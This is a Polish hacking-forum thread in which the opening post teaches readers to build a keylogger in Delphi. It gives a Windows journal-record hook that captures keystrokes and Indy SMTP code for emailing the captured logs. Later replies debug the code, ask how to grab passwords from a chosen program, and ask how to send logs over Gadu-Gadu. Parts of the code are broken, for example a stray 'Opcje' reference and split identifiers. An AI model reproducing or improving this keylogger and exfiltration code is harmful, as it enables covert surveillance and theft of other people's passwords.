Strona 1 z 4 123 ... OstatniOstatni
Pokaż wyniki od 1 do 15 z 57
  1. #1

    Domyślnie

    Wielu z Was zadawało mi pytanie, JAK NAPISAĆ PROSTEGO KEYLOGGERA i jakiego języka do tego używać. Myślę, że ta lektura rozjaśni co niektórym pewne wątpliwości i raz na zawsze pytania typu: JAK ZROBIĆ KEYLOGGERA ?? się skończą ... (to tak na marginesie). Artykuł ten szczegółowo opisuje jak łatwo można w Delphi stworzyć własnego prostego keyloggera.


    Chciałbym na samym początku wyjaśnić, że nie jest to kod źródłowy GhostXP, Keylogger GhostXP zbudowany jest na zupełnie innej platformie przechwytującej, przy zastosowaniu zupełnie innych komponentów. Program GhostXP pozbawiony jest wielu wad, działa zupełnie w ukryciu, a do tego stosuje specjalne mechanizmy, które tym artykule nie są przedstawione. W tym artykule zastosowano bardzo prostą i ubogą funkcję przechwytującą strumień danych pochodzących z klawiatury.

    Budowa Keyloggera oraz funkcjnalność jest uzależniona tylko i wyłącznie od samego autora.

    Jedni piszą, że lepszy jest Delphi niektórzy, że C++. Chodzi o to Moi Drodzy, że to nie ma znaczenia. Faktem jest, że C++ jest szybszy, natomiast składnia języka jest troszkę mniej przyswajalna. Delphi jest prostsze jeśli chodzi o składnię ale za to programy (duże programy) działają wolniej po kompilacji niż te, które napisane są w C++.

    Keylogger jest programem zdecydowanie małym i nie ma znaczenia tak naprawdę, czy będzie napisany w szybszym C++ czy w wolniejszym Object Pascal (Delphi).

    Ze względu na łatwość przyswajania zdecydowałem się pokazać kod prostego KEYLOGGERA w języku Object Pascal.

    Prościej się nie da Oto najprostszy sposób przechwytywania klawiatury przez program napisany w Delphi.

    A oto prosta funkcja. Jest dosyć prymitywna i niedoskonała, pokazuje bowiem tylko WIELKIE LITERY, ale dla początkujących myślę, że będzie dobrą lekcją.

    Od czego zacząć ??

    oczywiście Uruchamiamy Delphi 7 Personal lub najbogatszego ENTERPRISE.



    Czynności jakie musimy wykonać :

    1. Forma powinna zawierać komponent TMemo (otwieramy nowy projekt, po czym wstawiamy na formę komponent TMemo).

    2. W projekcie Pod sekcją "private" w sekcji "var" wprowadzamy nowe zmienne:

    Var

    Hook : Integer;

    MessageBuffer :TEventMsg;


    3. Klikamy 1 raz na formę i przechodzimy do okna Object Inspektor. W zakładce Ewents (zdarzenia) szukamy sekcji "OnDestroy" i klikamy 2x celem wprowadzenia kodu w procedurze, która bedzie wygladać mniej więcej tak:

    procedure TForm1.FormDestroy(Sender: TObject);
    begin
    UnHookWindowsHookEx(Hook); // wprowadzamy
    end;




    Następnie tworzymy funkcję ręcznie gdzieś w kodzie, najlepiej pod procedurą TForm1.FormDestroy(Sender: TObject);



    // prosta Funkcja przechwytująca strumień danych TYLKO WIELKIE LITERY
    function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
    begin
    case Code of
    HC_ACTION: begin
    MessageBuffer:=PEventMsg(lParam)^;
    if MessageBuffer.message = wm_KeyDown then
    begin

    Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuff er.paraml);
    Result:=0;
    end;
    end;
    else
    begin
    Result := CallNextHookEx(Hook, Code, wParam, lParam);
    end;
    end;
    end;



    Następnie również w Object Inspector i również w zakładce Events klikamy 2x na "OnCreate" i zbowu stworzy się na procedura o nazwie TForm1.FormCreate(Sender: TObject); . Dostosujmy ją by wygladała mniej więcej tak:

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Hook:=SetWindowsHookEx(wh_journalrecord,play,HInst ance,0);
    end;

    BINGO !!! F9 (run)


    JAK WYSŁAĆ E-MAIL za pomocą Delphi ??

    Jest to banalnie proste jesli posiadamy komponenty Indy9 lub 10...(ENTERPRISE) jak nie masz to znajć w google.

    Przeanalizuj sobie poniższy kod.

    Wstawiamy na formę następujące komponenty : idMessage, idSMTP i tworzymy procedurę :

    Procedure CostamCostam(Sender : TObject);


    Begin
    MessageSend.Body.Append('tresc maila'; // wprowadzasz treść jako TMemo.Text

    MessageSend.From.Name := 'imie od kogo'; //od kogo
    MessageSend.From.Address := 'adres od kogo'; //podajesz adres e-mail nadawcy
    MessageSend.Recipients.EMailAddresses := 'Odbiorca'; //adres e-mail odbiorcy
    MessageSend.Subject := 'temat'; //temat listu

    { UserName bądź UserId - to jest zeleżne od wersji Indy.}

    SMTP.UserName := 'nazwa użytkownika serwera SMTP';
    SMTP.Password := 'hasło';
    SMTP.Host := 'adres serwera SMTP';
    SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
    SMTP.Connect;
    try
    SMTP.Send(MessageSend); //wyślij
    finally
    SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
    end;
    end;

    BINGO

    Wyjaśniam :

    MessageSend to komponent : idMessage z zakładki IndyMisc
    SMTP to idSMTP z zakladki IndyClients

    Dobrze jest wstawić komponent idAntiFreeze aby program nie zatrzymywał się w momencie wysyłania poczty.

    I tym własnie sposobem mamy najprostszego keyloggera.

    POZDRAWIAM WSZYSTKICH.


    Pytania i komentarze proszę umieszczać na forum. Jeżeli nie chcesz pisać kodu to oczywiście darmowy keylogger dostępny jest w sieci.
    Ostatnio edytowane przez Dark Smark ; 30-11-2015 o 16:00

  2. #2
    Użytkownik
    Dołączył
    15-03-2008
    Posty
    1

    Domyślnie

    Zrobiłem w ten sposób program, tyle że kompilator wywala błąd.

    Kod:
    unit Unit1;
    
    interface
    
    uses
    **Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    **Dialogs, StdCtrls;
    
    type
    **TForm1 = class(TForm)
    ****Memo1: TMemo;
    ****procedure FormDestroy(Sender: TObject);
    ****procedure FormCreate(Sender: TObject);
    **private
    ****{ Private declarations }
    **public
    ****{ Public declarations }
    **end;
    
    var
    **Form1: TForm1;
    **Hook : Integer;
    
    MessageBuffer :TEventMsg;
    
    
    implementation
    
    {$R *.dfm}
    
    procedure TForm1.FormDestroy(Sender: TObject);
    begin
    UnHookWindowsHookEx(Hook); // wprowadzamy
    end;
    
    function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
    begin
    case Code of
    HC_ACTION: begin
    MessageBuffer:=PEventMsg(lParam)^;
    if MessageBuffer.message = wm_KeyDown then
    begin
    
    Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);
    Result:=0;
    end;
    end;
    else
    begin
    Result := CallNextHookEx(Hook, Code, wParam, lParam);
    end;
    end;
    end;
    
    
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    
    Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
    end;
    
    end.
    Spróbuj to uruchomić i powiedz co źle zrobiłem

  3. #3

    Domyślnie

    W której linii powstaje błąd ???? albo podaj mi jaki komunikat kompilator podaje.

  4. #4
    Użytkownik
    Dołączył
    31-08-2008
    Posty
    1

    Domyślnie

    mam pytanie jak zrobic krylogera ktory wyciaga haslo z tylko z danego programu. czyli np uaktywnia sie po wlaczeniu danego programu i tylko z niego spisuje dane???

  5. #5
    Dawni Moderatorzy Avatar hxv
    Dołączył
    09-08-2006
    Skąd
    Stalowa Wola
    Posty
    710
    Nie pomagam, nie wykonuje zleceń, nie mam czasu. Chcesz coś? Pisz do kogoś innego.
    hxv blog | Michał Włodarczyk (^hxv) - blip

  6. #6
    Użytkownik
    Dołączył
    11-09-2008
    Posty
    4

    Domyślnie

    Mam Pytanie Jak Wysylac logi na Gadu Gadu ?

  7. #7
    Dawni Moderatorzy Avatar hxv
    Dołączył
    09-08-2006
    Skąd
    Stalowa Wola
    Posty
    710

    Domyślnie

    GGLite, HGG albo napisz coś samemu co obsłuży protokół GG. No i jeszcze google

  8. #8
    Użytkownik
    Dołączył
    20-10-2006
    Posty
    36

    Domyślnie

    Tamten błąd rozwiązałem.

    Tym razem wyskakuje mi takie okienko gdy wciskam F9[RUN-(wciskam F9 przed zrobieniem wysyłania na e-mail)


    Oto mój kod ... zrobiłem gdzieś błąd ?
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls;

    type
    TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Hook : Integer;

    MessageBuffer :TEventMsg;

    implementation

    {$R *.dfm}

    procedure TForm1.FormDestroy(Sender: TObject);
    function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
    begin
    case Code of
    HC_ACTION: begin
    MessageBuffer:=PEventMsg(lParam)^;
    if MessageBuffer.message = wm_KeyDown then
    begin

    Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuff er.paraml);
    Result:=0;
    end;
    end;
    else
    begin
    Result := CallNextHookEx(Hook, Code, wParam, lParam);
    end;
    end;
    end;
    begin
    UnHookWindowsHookEx(Hook);
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Hook:=SetWindowsHookEx(wh_journalrecord,play,HInst ance,0);
    end;

    end.[/b]

  9. #9
    Użytkownik
    Dołączył
    22-05-2007
    Skąd
    Giżycko
    Posty
    47

    Domyślnie

    <div class='quotetop'>CYTAT(chaszman @ 3.10.2008, 21:40) <{POST_SNAPBACK}></div>
    Tamten błąd rozwiązałem.

    Tym razem wyskakuje mi takie okienko gdy wciskam F9[RUN-(wciskam F9 przed zrobieniem wysyłania na e-mail)


    Oto mój kod ... zrobiłem gdzieś błąd ?[/b]
    Tak więc, w głównym Var usunęłeś:

    Kod:
    Form1: TForm1
    ;

    Pozdro...

  10. #10
    Użytkownik
    Dołączył
    22-05-2007
    Skąd
    Giżycko
    Posty
    47

    Domyślnie

    <div class='quotetop'>CYTAT(chaszman @ 3.10.2008, 21:40) <{POST_SNAPBACK}></div>
    Tamten błąd rozwiązałem.

    Tym razem wyskakuje mi takie okienko gdy wciskam F9[RUN-(wciskam F9 przed zrobieniem wysyłania na e-mail)


    Oto mój kod ... zrobiłem gdzieś błąd ?[/b]
    Tak więc, w głównym Var usunęłeś:

    Kod:
    Form1: TForm1;
    Pozdro...

  11. #11
    Użytkownik
    Dołączył
    20-10-2006
    Posty
    36

    Domyślnie

    Dzięki wielkie za pomoc
    Zrobiłem tak jak napisałeś ale teraz na czerwono mi zaznacza to:
    Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuff er.paraml);[/b]

  12. #12
    Użytkownik
    Dołączył
    22-05-2007
    Skąd
    Giżycko
    Posty
    47

    Domyślnie

    <div class='quotetop'>CYTAT(chaszman @ 6.10.2008, 18:07) <{POST_SNAPBACK}></div>
    Dzięki wielkie za pomoc
    Zrobiłem tak jak napisałeś ale teraz na czerwono mi zaznacza to:[/b]
    Jaki błąd...?

  13. #13
    Użytkownik
    Dołączył
    20-10-2006
    Posty
    36

    Domyślnie

    Chodzi mi o to:
    Cały kod jeszcze nie robiłem wysyłania na e-mail
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs;

    type
    TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    Hook : Integer;

    MessageBuffer :TEventMsg;

    implementation

    {$R *.dfm}

    procedure TForm1.FormDestroy(Sender: TObject);
    function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
    begin
    case Code of
    HC_ACTION: begin
    MessageBuffer:=PEventMsg(lParam)^;
    if MessageBuffer.message = wm_KeyDown then
    begin

    Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuff er.paraml);
    Result:=0;
    end;
    end;
    else
    begin
    Result := CallNextHookEx(Hook, Code, wParam, lParam);
    end;
    end;
    end;
    begin
    UnHookWindowsHookEx(Hook);
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Hook:=SetWindowsHookEx(wh_journalrecord,play,HInst ance,0);
    end;

    end.[/b]
    Wciskam F9 (RUN) i zaznacza mi na czerwono to:
    Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuff er.paraml);[/b]

  14. #14
    Użytkownik
    Dołączył
    20-01-2007
    Posty
    5

    Domyślnie

    kurcze no nie mogę, próbuje, próbuje i nic, cały czas wyskakuje mi na czerwono linijka:

    Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuff er.paraml);

    tak samo jak chaszman&#39;owi tyle, że na to jeszcze nikt nie odpisał...



    wiem, że trzeba zadeklarować, ale wybaczcie, nie wiem jak ;P pomoże ktoś?

  15. #15
    Użytkownik
    Dołączył
    01-02-2007
    Posty
    4

    Domyślnie

    <div class='quotetop'>CYTAT(NeoDark @ 8.01.2009, 21:49) <{POST_SNAPBACK}></div>
    kurcze no nie mogę, próbuje, próbuje i nic, cały czas wyskakuje mi na czerwono linijka:

    Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuff er.paraml);

    tak samo jak chaszman&#39;owi tyle, że na to jeszcze nikt nie odpisał...



    wiem, że trzeba zadeklarować, ale wybaczcie, nie wiem jak ;P pomoże ktoś?[/b]
    wpisz Form1.Memo1.Text:=Form1.Memo1.Text+chr(MessageBuff er.paraml);

Podobne wątki

  1. Odpowiedzi: 3
    Ostatni post / autor: 25-01-2014, 20:57
  2. Odpowiedzi: 1
    Ostatni post / autor: 28-05-2013, 19:22
  3. exploity krok po kroku
    Przez sitek
    w forum Exploits/PenTests
    Odpowiedzi: 1
    Ostatni post / autor: 14-01-2006, 21:44

Uprawnienia

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •